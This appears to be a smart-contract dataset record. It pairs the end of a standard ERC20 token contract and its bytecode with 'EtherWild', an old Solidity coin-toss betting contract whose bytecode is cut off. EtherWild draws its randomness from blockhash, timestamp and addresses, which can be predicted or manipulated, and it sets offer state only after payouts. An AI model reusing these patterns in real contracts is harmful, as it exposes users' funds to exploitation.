*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5.05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless this function is
* overridden;
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual override returns (uint8) {
return 18;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
unchecked {
_approve(sender, _msgSender(), currentAllowance - amount);
}
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
unchecked {
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
}
return true;
}
/**
* @dev Moves `amount` of tokens from `sender` to `recipient`.
*
* This internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
unchecked {
_balances[sender] = senderBalance - amount;
}
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
_afterTokenTransfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
_afterTokenTransfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
unchecked {
_balances[account] = accountBalance - amount;
}
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
_afterTokenTransfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
/**
* @dev Hook that is called after any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* has been transferred to `to`.
* - when `from` is zero, `amount` tokens have been minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens have been burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _afterTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
}
|
0x608060405234801561001057600080fd5b50600436106100a95760003560e01c80633950935111610071578063395093511461016857806370a082311461019857806395d89b41146101c8578063a457c2d7146101e6578063a9059cbb14610216578063dd62ed3e14610246576100a9565b806306fdde03146100ae578063095ea7b3146100cc57806318160ddd146100fc57806323b872dd1461011a578063313ce5671461014a575b600080fd5b6100b6610276565b6040516100c39190610c3e565b60405180910390f35b6100e660048036038101906100e19190610cf9565b610308565b6040516100f39190610d54565b60405180910390f35b610104610326565b6040516101119190610d7e565b60405180910390f35b610134600480360381019061012f9190610d99565b610330565b6040516101419190610d54565b60405180910390f35b610152610428565b60405161015f9190610e08565b60405180910390f35b610182600480360381019061017d9190610cf9565b610431565b60405161018f9190610d54565b60405180910390f35b6101b260048036038101906101ad9190610e23565b6104dd565b6040516101bf9190610d7e565b60405180910390f35b6101d0610525565b6040516101dd9190610c3e565b60405180910390f35b61020060048036038101906101fb9190610cf9565b6105b7565b60405161020d9190610d54565b60405180910390f35b610230600480360381019061022b9190610cf9565b6106a2565b60405161023d9190610d54565b60405180910390f35b610260600480360381019061025b9190610e50565b6106c0565b60405161026d9190610d7e565b60405180910390f35b60606003805461028590610ebf565b80601f01602080910402602001604051908101604052809291908181526020018280546102b190610ebf565b80156102fe5780601f106102d3576101008083540402835291602001916102fe565b820191906000526020600020905b8154815290600101906020018083116102e157829003601f168201915b5050505050905090565b600061031c610315610747565b848461074f565b6001905092915050565b6000600254905090565b600061033d84848461091a565b6000600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610388610747565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610408576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016103ff90610f63565b60405180910390fd5b61041c85610414610747565b85840361074f565b60019150509392505050565b60006012905090565b60006104d361043e610747565b84846001600061044c610747565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546104ce9190610fb2565b61074f565b6001905092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60606004805461053490610ebf565b80601f016020809104026020016040519081016040528092919081815260200182805461056090610ebf565b80156105ad5780601f10610582576101008083540402835291602001916105ad565b820191906000526020600020905b81548152906001019060200180831161059057829003601f168201915b5050505050905090565b600080600160006105c6610747565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610683576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161067a9061107a565b60405180910390fd5b61069761068e610747565b8585840361074f565b600191505092915050565b60006106b66106af610747565b848461091a565b6001905092915050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156107bf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107b69061110c565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561082f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108269061119e565b60405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161090d9190610d7e565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561098a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161098190611230565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156109fa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109f1906112c2565b60405180910390fd5b610a05838383610b9b565b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015610a8b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a8290611354565b60405180910390fd5b8181036000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610b1e9190610fb2565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610b829190610d7e565b60405180910390a3610b95848484610ba0565b50505050565b505050565b505050565b600081519050919050565b600082825260208201905092915050565b60005b83811015610bdf578082015181840152602081019050610bc4565b83811115610bee576000848401525b50505050565b6000601f19601f8301169050919050565b6000610c1082610ba5565b610c1a8185610bb0565b9350610c2a818560208601610bc1565b610c3381610bf4565b840191505092915050565b60006020820190508181036000830152610c588184610c05565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000610c9082610c65565b9050919050565b610ca081610c85565b8114610cab57600080fd5b50565b600081359050610cbd81610c97565b92915050565b6000819050919050565b610cd681610cc3565b8114610ce157600080fd5b50565b600081359050610cf381610ccd565b92915050565b60008060408385031215610d1057610d0f610c60565b5b6000610d1e85828601610cae565b9250506020610d2f85828601610ce4565b9150509250929050565b60008115159050919050565b610d4e81610d39565b82525050565b6000602082019050610d696000830184610d45565b92915050565b610d7881610cc3565b82525050565b6000602082019050610d936000830184610d6f565b92915050565b600080600060608486031215610db257610db1610c60565b5b6000610dc086828701610cae565b9350506020610dd186828701610cae565b9250506040610de286828701610ce4565b9150509250925092565b600060ff82169050919050565b610e0281610dec565b82525050565b6000602082019050610e1d6000830184610df9565b92915050565b600060208284031215610e3957610e38610c60565b5b6000610e4784828501610cae565b91505092915050565b60008060408385031215610e6757610e66610c60565b5b6000610e7585828601610cae565b9250506020610e8685828601610cae565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680610ed757607f821691505b60208210811415610eeb57610eea610e90565b5b50919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206160008201527f6c6c6f77616e6365000000000000000000000000000000000000000000000000602082015250565b6000610f4d602883610bb0565b9150610f5882610ef1565b604082019050919050565b60006020820190508181036000830152610f7c81610f40565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000610fbd82610cc3565b9150610fc883610cc3565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115610ffd57610ffc610f83565b5b828201905092915050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b6000611064602583610bb0565b915061106f82611008565b604082019050919050565b6000602082019050818103600083015261109381611057565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b60006110f6602483610bb0565b91506111018261109a565b604082019050919050565b60006020820190508181036000830152611125816110e9565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000611188602283610bb0565b91506111938261112c565b604082019050919050565b600060208201905081810360008301526111b78161117b565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b600061121a602583610bb0565b9150611225826111be565b604082019050919050565b600060208201905081810360008301526112498161120d565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b60006112ac602383610bb0565b91506112b782611250565b604082019050919050565b600060208201905081810360008301526112db8161129f565b9050919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b600061133e602683610bb0565b9150611349826112e2565b604082019050919050565b6000602082019050818103600083015261136d81611331565b905091905056fea2646970667358221220700a86b1147ecfcb696b69b1602886c21c0c71d20bf301260d7568a8a4acdcbc64736f6c634300080a0033
|
{"success": true, "error": null, "results": {}}
| 9,384 |
0x06300cec31cf8edf74a17dac79cbc66355113179
|
pragma solidity ^0.4.21;
// welcome to EtherWild (EthWild)
// game which is a simple coin toss game, you have 50% chance to win.
// you always play against someone else.
// there are two ways to play; the auto-way by just placing a bet (only one allowed)
// this is the standard way to play
// if you place this bet and another one places the same bet, a match occurs and a game is played
// Note: you are allowed to withdraw these bets. If all offers are cancelled 0 eth is in contract.
// Offers:
// You are allowed to create 16 offers in the game. Other people can find these offers and play with them
// This is doable if you do not like the suggested offers, or simply want to put on more games.
// These are also cancellable.
// If you play someone's offer and send to much, excess is returned.
contract EtherWild{
// GLOBAL SETTINGS //
uint8 constant MaxOffersPerADDR = 16; // per definition MAX 32 offers due to uint8 size
uint16 CFee = 500; // FEE / 10000 , only paid per PLAYED TX. Cancel / create offer is no fee, only paid after play
uint16 HFeePart = 5000; // Part of creator fee -> helper /10000 -> 50%
address Owner;
address HelpOwner = 0x30B3E09d9A81D6B265A573edC7Cc4C4fBc0B0586;
// SETTING BIT CONFIG:
// First two bits: Owner choice of offer. 0 means offer is closed (standard) to prevent double-withdrawals.
// 1: blue / 2: red / 3: enemy choices. (This should not matter after infinite plays)
// Third bit: Game also has it's neighbour available. If you create a simple game you are allowed
// to create an offer too so it is visible (for manual amounts of inputs)
// This makes sure both items are cancelled if you decide to cancel one
// Note: two items are cancelled, but double withdrawal is not availabe ;)
// Fourth bit: Max Offers are here 16, fourth bit not used.
// Fifth - Eight bit: ID of the offer in the offer market. Only available from SimpleGame, saves gas (no for loop necessary).
struct SimpleGame{
address Owner; // Creator
uint8 setting; // Setting
}
struct OfferGame{
uint256 amount; // fee.
uint8 setting; // 0-3
bool SimpleGame; // Could have implemented above
}
// uint256 is wei paid: note only one offer is available per wei here.
mapping(uint256 => SimpleGame) public SimpleGameList;
// address can store 16 offers. lookup is done via events, saves gas.
mapping(address => OfferGame[MaxOffersPerADDR]) public OfferGameList;
// events for both to keep track
event SimpleGamePlayed(address creator, address target, bool blue, bool cwon, uint256 amount);
event SimpleGameCreated(address creator, uint256 fee, uint8 setting);
event SimpleGameCancelled(uint256 fee);
// same events, ID added to allow cancel from UI
event OfferGameCreated(address creator, uint8 setting, uint256 amount, uint8 id);
event OfferGameCancelled(address creator, uint8 id);
event OfferGamePlayed(address creator, address target, bool blue, bool cwon, uint256 amount, uint8 id);
// dont touch pls
modifier OnlyOwner(){
if (msg.sender == Owner){
_;
}
else{
revert();
}
}
function EtherWild() public{
Owner = msg.sender;
}
// allows to change dev fee. max is 5%
function SetDevFee(uint16 tfee) public OnlyOwner{
require(tfee <= 500);
CFee = tfee;
}
// allows to change helper fee. minimum is 10%, max 100%.
function SetHFee(uint16 hfee) public OnlyOwner {
require(hfee <= 10000);
require(hfee >= 1000);
HFeePart = hfee;
}
// only used in UI. returns uint so you can see how much games you have uploaded.
function UserOffers(address who) public view returns(uint8){
uint8 ids = 0;
for (uint8 i=0; i<MaxOffersPerADDR; i++){
if ((OfferGameList[who][i].setting & 3) == 0){
ids++ ;
}
}
return ids;
}
// lookups struct into offergamelist. only view.
function ViewOffer(address who, uint8 id) public view returns (uint256 amt, uint8 setting, bool sgame){
var Game = OfferGameList[who][id];
return (Game.amount, Game.setting,Game.SimpleGame);
}
// create a new offer with setting. note; setting has to be 1,2 or 3.
// connected to msg.sender.
function CreateOffer(uint8 setting) public payable{
require(msg.value>0);
require(setting>0);
CreateOffer_internal(setting, false);
}
// internal function, necessary to keep track of simple game links
function CreateOffer_internal(uint8 setting, bool Sgame) internal returns (uint8 id){
// find id.
require(setting <= 3);
bool found = false;
id = 0;
// find available ID .
for (uint8 i=0; i<MaxOffersPerADDR; i++){
if (OfferGameList[msg.sender][i].setting == 0){
id = i;
found = true;
break;
}
}
// no place? reject tx.
// note: also simple tx can be released like this.
require(found);
OfferGameList[msg.sender][id] = OfferGame(msg.value, setting, Sgame);
emit OfferGameCreated(msg.sender, setting, msg.value, id);
//
return id;
}
// public cancel offer, intern necessary for simple link
// note: offer cancelled is msg.sender and ID is id (into that array of this address)
function OfferCancel(uint8 id) public {
OfferCancel_internal(id, false);
}
function OfferCancel_internal(uint8 id, bool skipSimple) internal {
var game = OfferGameList[msg.sender][id];
if (game.setting != 0){
uint8 setting;
bool sgame;
uint8 _notn;
(setting, sgame, _notn) = DataFromSetting(game.setting);
// reset to 0.
game.setting = 0;
emit OfferGameCancelled(msg.sender, id);
// if simple game available cancel it. put true in so no recall to this funciton
// also true will prevent to withdraw twice.
if ((!skipSimple) && game.SimpleGame){
CancelSimpleOffer_internal(game.amount,true);
}
// not from simple cancel? then withdraw.
if (!skipSimple){
msg.sender.transfer(game.amount); // prevent send twice.
}
}
else{
return;
}
}
// play offer game: target address, id, possible setting.
function OfferPlay(address target, uint8 id, uint8 setting) public payable {
var Game = OfferGameList[target][id];
require(Game.setting != 0);
require(msg.value >= Game.amount);
uint256 excess = msg.value - Game.amount;
if (excess > 0){
msg.sender.transfer(excess); // return too much.
}
uint8 cset;
bool sgame;
uint8 _id;
(cset, sgame, id) = DataFromSetting(Game.setting);
bool creatorChoosesBlue = GetSetting(Game.setting, setting);
bool blue;
bool creatorwins;
(blue, creatorwins) = ProcessGame(target, msg.sender, creatorChoosesBlue, Game.amount);
// announce played.
emit OfferGamePlayed(target, msg.sender, blue, creatorwins, Game.amount, id);
// disable offer.
Game.setting = 0; // disable this offer.
// also sgame? then cancel this too to prevent another cancel on this one
// otherwise you can always make sure you never lose money. hrm.
if(sgame){
// cancel sgame -> true prevents withdraw.
CancelSimpleOffer_internal(Game.amount, true);
}
}
// same as offer cancel.
function CancelSimpleOffer_internal(uint256 fee, bool SkipOffer) internal {
uint8 setting = SimpleGameList[fee].setting;
if (setting == 0){
return;
}
if (!(SimpleGameList[fee].Owner == msg.sender)){
return;
}
bool offer;
uint8 id;
(setting, offer, id) = DataFromSetting(setting);
SimpleGameList[fee].setting = 0; // set to zero, prevent recalling.
// prevent recall if offer available;
// offer cancel with not withdraw.
if ((!SkipOffer) && offer){
OfferCancel_internal(id, true);
}
// if first call then withdraw.
if (!SkipOffer){
msg.sender.transfer(fee); // prevent send twice.
}
emit SimpleGameCancelled( fee);
}
// false = first call for cancel offer, prevent withdraw twice
// withdraws fee to owner if he owns this one
function CancelSimpleOffer(uint256 fee) public {
CancelSimpleOffer_internal(fee, false);
}
//returns if creator wants blue
// yeah this program has this logic behind it although not necessary.
function GetSetting(uint8 setting1, uint8 setting2) pure internal returns (bool creatorChoosesBlue){
if (setting1 == 1){
return true;
}
else if (setting1 == 2){
return false;
}
else{
if (setting2 == 1){
return false;
}
}
return true;
}
// play game with setting, and a bool if you also want to create offer on the side.
// (all done in one TX)
function PlaySimpleGame(uint8 setting, bool WantInOffer) payable public {
require(msg.value > 0);
require(setting > 0); // do not create cancelled one, otherwise withdraw not possible.
var game = (SimpleGameList[msg.value]);
uint8 id;
if (game.setting != 0){
// play game - NOT cancelled.
// >tfw msg.value is already correct lol no paybacks
require(game.Owner != msg.sender); // do not play against self, would send fee, unfair.
// process logic
uint8 cset;
bool ogame;
id;
(cset, ogame, id) = DataFromSetting(game.setting);
bool creatorChoosesBlue = GetSetting(cset, setting);
bool blue;
bool creatorwins;
//actually play and pay in here.
(blue, creatorwins) = ProcessGame(game.Owner, msg.sender, creatorChoosesBlue, msg.value);
emit SimpleGamePlayed(game.Owner, msg.sender, blue, creatorwins, msg.value);
// delete , makes it unable to cancel
game.setting = 0;
// cancel the offer
// is called second time: makes sure no withdraw happens.
if (ogame){
OfferCancel_internal(id, true);
}
}
else {
// create a game !
//require(setting != 0);
id = 0;
if (WantInOffer){
// also create an offer. costs more gas
id = CreateOffer_internal(setting, true); // id is returned to track this when cancel.
}
// convert setting. also checks for setting input <= 3;
// bit magic
setting = DataToSetting(setting, WantInOffer, id);
// make game, push it in game , emit event
var myGame = SimpleGame(msg.sender, setting);
SimpleGameList[msg.value] = myGame;
emit SimpleGameCreated(msg.sender, msg.value, setting);
}
}
// process game
// NOTE: ADRESSES are added to random to make sure we get different random results
// for every creator/target pair PER block
// that should be sufficient, it would be weird if a block only creates same color all time.
function ProcessGame(address creator, address target, bool creatorWantsBlue, uint256 fee) internal returns (bool blue, bool cWon) {
uint random = rand(1, creator);
blue = (random==0);
// cWon = (creatorWantsBlue && (blue)) || (!creatorWantsBlue && (!blue)); >tfw retarded
cWon = (creatorWantsBlue == blue); // check if cwon via logic.
if (cWon){
creator.transfer(DoFee(fee*2)); // DoFee returns payment.
}
else{
target.transfer(DoFee(fee*2));
}
}
// random function via blockhas and address addition, timestamp.
function rand(uint max, address other) constant internal returns (uint result){
uint add = uint (msg.sender) + uint(other) + uint(block.timestamp);
uint random_number = addmod(uint (block.blockhash(block.number-1)), add, uint (max + 1)) ;
return random_number;
}
// pay fee to owners
// no safemath necessary, will always be fine due to control in limits of fees.
function DoFee(uint256 amt) internal returns (uint256 left){
uint256 totalFee = (amt*CFee)/10000; // total fee paid
uint256 cFee = (totalFee*HFeePart)/10000; // helper fee paid
uint256 dFee = totalFee - cFee; //dev fee paid
Owner.transfer(dFee); // pay
HelpOwner.transfer(cFee);
return amt-totalFee; // return excess to be paid
}
//function SetFee(uint16) public OnlyOwner;
//function SetHFee(uint16) public OnlyOwner;
// helper
// converts settings to uint8 using multiple bits to store this data.
function DataToSetting(uint8 setting, bool offer, uint8 id) pure internal returns (uint8 output){
require(setting <= 3);
if (!offer){
return setting; // no id necessary.
}
require(id <= 15);
uint8 out=setting;
if (offer){
out = out + 4; // enable bit 3;
}
// shift ID bits 4 bits to right so they are on bit 5 to 8
uint8 conv_id = id << 4;
// add bits
out = out + conv_id;
return out;
}
// from setting, 3 data to retrieve above.
function DataFromSetting(uint8 n) pure internal returns(uint8 set, bool offer, uint8 id){
// setting simpmly extract first 2 bits.
set = (n & 3);
// offer extract 3rd bit and convert it to bool (cannot shift and check due to ID), or might have used MOD 1
offer = (bool) ((n & 4)==4);
// shift n by 4 bits to extract id. throws away first 4 bits, nice.
id = (n) >> 4;
}
}
|
0x6060604052600436106100ae5763ffffffff7c01000000000000000000000000000000000000000000000000000000006000350416631f1144dc81146100b3578063244f828a14610100578063249f77ef1461011c57806341b3203c14610132578063685807a41461014557806381d20caa146101805780639c71d169146101a2578063b725e556146101bb578063bad7d46a146101f0578063c7990f70146101fe578063d9a569f514610218575b600080fd5b34156100be57600080fd5b6100d8600160a060020a036004351660ff60243516610238565b60405192835260ff909116602083015215156040808301919091526060909101905180910390f35b341561010b57600080fd5b61011a61ffff6004351661028b565b005b341561012757600080fd5b61011a6004356102ec565b61011a60ff6004351660243515156102f7565b341561015057600080fd5b61015b600435610567565b604051600160a060020a03909216825260ff1660208201526040908101905180910390f35b341561018b57600080fd5b6100d8600160a060020a036004351660243561058e565b34156101ad57600080fd5b61011a60ff600435166105c7565b34156101c657600080fd5b6101da600160a060020a03600435166105d2565b60405160ff909116815260200160405180910390f35b61011a60ff60043516610630565b341561020957600080fd5b61011a61ffff6004351661065c565b61011a600160a060020a036004351660ff602435811690604435166106a4565b600160a060020a038216600090815260036020526040812081908190819060ff86166010811061026457fe5b600202018054600190910154909760ff808316985061010090920490911695509350505050565b60005433600160a060020a039081166401000000009092041614156100ae5761271061ffff821611156102bd57600080fd5b6103e861ffff821610156102d057600080fd5b6000805463ffff000019166201000061ffff8416021790555b50565b6102e9816000610825565b600080600080600080600061030a610e0c565b6000341161031757600080fd5b600060ff8b161161032757600080fd5b346000908152600260205260409020805490985060a060020a900460ff161561044c57875433600160a060020a039081169116141561036557600080fd5b875461037a9060a060020a900460ff1661093b565b9850909650945061038b868b610952565b88549094506103a590600160a060020a031633863461099a565b895491945092507f3b9da2e9f534327228264491e5dde8e38a4862c1fb1e6b9d4e0a33352cc160a590600160a060020a031633858534604051600160a060020a0395861681529390941660208401529015156040808401919091529015156060830152608082019290925260a001905180910390a1875474ff000000000000000000000000000000000000000019168855841561044757610447876001610a48565b61055b565b600096508815610464576104618a6001610b5f565b96505b61046f8a8a89610cdf565b9950604080519081016040528033600160a060020a031681526020018b60ff16815250905080600260003481526020019081526020016000206000820151815473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a03919091161781556020820151815460ff9190911660a060020a0274ff000000000000000000000000000000000000000019909116179055507f7ea40291750190d004e6358cd72486bd2bec0567152a83dedd676cbd3f77fd2533348c604051600160a060020a039093168352602083019190915260ff166040808301919091526060909101905180910390a15b50505050505050505050565b600260205260009081526040902054600160a060020a0381169060a060020a900460ff1682565b600360205260008281526040902081601081106105a757fe5b60020201805460019091015490925060ff80821692506101009091041683565b6102e9816000610a48565b600080805b601060ff8216101561062957600160a060020a038416600090815260036020526040902060ff82166010811061060957fe5b60020201600101546003161515610621576001909101905b6001016105d7565b5092915050565b6000341161063d57600080fd5b600060ff82161161064d57600080fd5b610658816000610b5f565b5050565b60005433600160a060020a039081166401000000009092041614156100ae576101f461ffff8216111561068e57600080fd5b6000805461ffff191661ffff83161790556102e9565b600160a060020a0383166000908152600360205260408120819081908190819081908190819060ff8b16601081106106d857fe5b60020201600181015490985060ff1615156106f257600080fd5b875434101561070057600080fd5b875434039650600087111561074057600160a060020a03331687156108fc0288604051600060405180830381858888f19350505050151561074057600080fd5b60018801546107519060ff1661093b565b60018b0154909c50919750955061076b9060ff168a610952565b925061077d8b33858b6000015461099a565b80925081935050507f53543d46a2a3d5772b4a941178f7996769dc1868433ad56f5fefe3fdb948c3688b3384848c600001548f604051600160a060020a0396871681529490951660208501529115156040808501919091529015156060840152608083019190915260ff90921660a082015260c001905180910390a160018801805460ff191690558415610818578754610818906001610825565b5050505050505050505050565b60008281526002602052604081205460a060020a900460ff16908082151561084c57610934565b60008581526002602052604090205433600160a060020a0390811691161461087357610934565b61087c8361093b565b6000888152600260205260409020805474ff00000000000000000000000000000000000000001916905591945092509050831580156108b85750815b156108c8576108c8816001610a48565b83151561090057600160a060020a03331685156108fc0286604051600060405180830381858888f19350505050151561090057600080fd5b7f154c8e374d87e74d37789d45332391430e20271d068ad054644356f466a6d2cb8560405190815260200160405180910390a15b5050505050565b600381169160048083161491601060ff9091160490565b60008260ff166001141561096857506001610994565b8260ff166002141561097c57506000610994565b8160ff166001141561099057506000610994565b5060015b92915050565b60008060006109aa600188610d3d565b801593508515158414925090508115610a005786600160a060020a03166108fc6109d686600202610d70565b9081150290604051600060405180830381858888f1935050505015156109fb57600080fd5b610a3e565b85600160a060020a03166108fc610a1986600202610d70565b9081150290604051600060405180830381858888f193505050501515610a3e57600080fd5b5094509492505050565b600160a060020